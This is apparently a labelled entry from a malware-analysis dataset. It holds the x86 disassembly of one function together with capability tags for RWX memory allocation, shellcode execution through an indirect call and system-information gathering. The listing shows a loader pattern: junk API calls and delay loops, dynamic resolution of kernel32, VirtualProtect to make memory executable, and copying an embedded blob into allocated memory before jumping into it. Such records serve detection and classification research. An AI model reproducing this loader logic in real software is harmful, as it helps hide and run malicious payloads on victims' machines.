Function at 0x40f2e9
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1d4
mov eax, dword [0x41c35c]
xor eax, esp
mov dword [esp + 0x1d0], eax
push ebx
xor ebx, ebx
push esi
mov dword [esp + 0x18], ebx
push edi
mov dword [esp + 0x14], ebx
cmp dword [esp + 0x14], 0xa
jl 0x40f4d4
call fcn.0040f1dc
push 0xe
push str.rifizakixuhika
lea ecx, [esp + 0x1b0]
mov dword [esp + 0x50], ebx
mov dword [esp + 0x54], ebx
mov dword [esp + 0x58], ebx
mov dword [esp + 0x1c4], 0xf
mov dword [esp + 0x1c0], ebx
mov byte [esp + 0x1b0], bl
call fcn.00402dc3
lea eax, [esp + 0x100]
push eax
lea ecx, [esp + 0x1ac]
call fcn.00401d7b
push ebx
push 1
lea ecx, [esp + 0x1b0]
call fcn.00402b7e
xor eax, eax
mov word [esp + 0x1a8], ax
push 0x12
lea eax, [esp + 0x1ac]
mov dword [esp + 0x38], ebx
mov dword [esp + 0x3c], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x1c0], 7
mov dword [esp + 0x1bc], ebx
call fcn.00402e38
or dword [esp + 0x1c], 1
lea eax, [esp + 0x70]
push eax
lea eax, [esp + 0x64]
push eax
mov dword [esp + 0x68], 0x418040
mov dword [esp + 0xc0], 0x417fac
call fcn.00402d2a
mov eax, dword [esp + 0x60]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x60], vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
lea eax, [esp + 0x70]
push eax
call fcn.004030ab
cmp dword [esp + 0x1bc], 8
mov eax, dword [esp + 0x1a8]
mov dword [esp + 0x70], vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
jae 0x40f411
lea eax, [esp + 0x1a8]
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], 2
cmp dword [esp + 0x1b8], ebx
je 0x40f43d
push eax
mov eax, dword [esp + 0x1bc]
lea esi, [esp + 0x74]
call fcn.004031c6
push 1
xor edi, edi
lea esi, [esp + 0x1ac]
call fcn.00402ca1
push 0x5eb4
push 0xa566
call fcn.00404a7b
push 0x857ea
call fcn.00404a41
add esp, 0xc
lea ecx, [esp + 0xb8]
call fcn.004023b7
lea eax, [esp + 0xb8]
mov edi, vtable.std::ios_base.0
push eax
mov dword [esp + 0xbc], edi
call fcn.0040392e
pop ecx
lea esi, [esp + 0x34]
call fcn.00401d49
lea ecx, [esp + 0x160]
call fcn.00401e22
lea eax, [esp + 0x160]
push eax
mov dword [esp + 0x164], edi
call fcn.0040392e
pop ecx
lea esi, [esp + 0x48]
call fcn.00401d49
inc dword [esp + 0x14]
cmp dword [esp + 0x14], 0x6a42b
jl 0x40f310
mov dword [esp + 0x10], ebx
mov dword [esp + 0x10], 0x19f7f
add dword [esp + 0x10], 0x932
xor edi, edi
xor esi, esi
mov byte [esp + 0x1b], 1
cmp esi, 0xd97f
jle 0x40f503
mov byte [esp + 0x1b], bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp esi, ebx
jge 0x40f510
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ExtractIconW]
inc esi
cmp byte [esp + 0x1b], bl
jne 0x40f4f1
xor esi, esi
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x64]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
lea eax, [esp + 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
cmp esi, 0x25543
jle 0x40f580
cmp dword [esp + 0x1c], 0x86e4
je 0x40f580
cmp dword [esp + 0x14], 0x5fa6c78
je 0x40f580
cmp dword [esp + 0x1ac], 0x5696a3
jne 0x40f5bb
cmp edi, ebx
jne 0x40f5b5
push str.kernel32.dll
mov dword [0x41e5b0], 0x6e72656b
mov dword [0x41e5b4], 0x32336c65
mov dword [0x41e5b8], 0x6c6c642e
mov byte [0x41e5bc], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
inc esi
jmp 0x40f519
push 0x417e88
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x7b
mov dword [0x41e9b0], eax
call fcn.00404ac6
pop ecx
push ebx
push ebx
call dword [sym.imp.USER32.dll_EndPaint]
lea eax, [esp + 0x1cc]
push eax
push ebx
call dword [sym.imp.USER32.dll_ValidateRect]
mov eax, dword [0x417dd8]
call fcn.0040f276
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x41e9bc
push edi
push 0x40
push dword [esp + 0x18]
push dword [0x41e9b8]
call esi
mov eax, dword [0x41d23c]
mov dword [esp + 0x2c], eax
mov dword [esp + 0x14], ebx
cmp dword [esp + 0x10], ebx
jbe 0x40f687
cmp dword [esp + 0x14], ebx
jne 0x40f638
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x41e9b8], eax
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x2c]
mov cl, byte [ecx + eax + 0x932]
mov edx, dword [0x41e9b8]
mov byte [edx + eax], cl
cmp eax, 0x64
jne 0x40f679
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x1c], 0x20
mov eax, dword [esp + 0x1c]
push edi
add eax, eax
push eax
push dword [esp + 0x18]
mov dword [esp + 0x28], eax
push dword [0x41e9b8]
call esi
inc dword [esp + 0x14]
mov eax, dword [esp + 0x14]
cmp eax, dword [esp + 0x10]
jb 0x40f622
mov ecx, dword [0x41e9b8]
push dword [esp + 0x10]
add ecx, 0x200
call fcn.0040f27c
call fcn.0040f1ba
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetNextDlgGroupItem]
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
mov dword [eax + 4], 1
mov dword [esp + 0x20], 0x557ada64
mov dword [esp + 0x24], 0x4821cc85
mov dword [esp + 0x28], 0x2588f05c
sub dword [esp + 0x20], 0x809653
sub dword [esp + 0x20], 0x26e9ba5a
sub dword [esp + 0x24], 0x55cdb53
sub dword [esp + 0x28], 0x291811f5
mov ecx, dword [esp + 0x1dc]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00404553
mov esp, ebp
pop ebp
ret 0x10